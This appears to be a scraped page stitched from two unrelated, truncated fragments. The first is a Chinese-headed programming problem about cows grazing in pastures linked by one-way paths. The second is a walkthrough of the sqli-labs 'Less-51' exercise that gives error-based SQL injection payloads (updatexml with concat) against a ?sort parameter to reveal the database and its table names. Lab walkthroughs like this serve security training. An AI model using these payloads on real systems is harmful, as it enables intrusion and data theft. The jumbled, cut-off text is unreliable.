题目描述
The cows are having a picnic! Each of Farmer Johns K (1 ≤ K ≤ 100) cows is grazing in one of N (1 ≤ N ≤ 1,000) pastures, conveniently numbered 1...N. The pastures are connected by M (1 ≤ M ≤ 10,000) one-way paths (no path connects a pasture…
Less-51
1、判断闭合方式
输入?sort1 -- 页面闭合成功 2、查询数据库
输入?sort-1 and updatexml(1,concat(1,database()),1) -- 3、查询数据库中的表
输入?sort-1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where …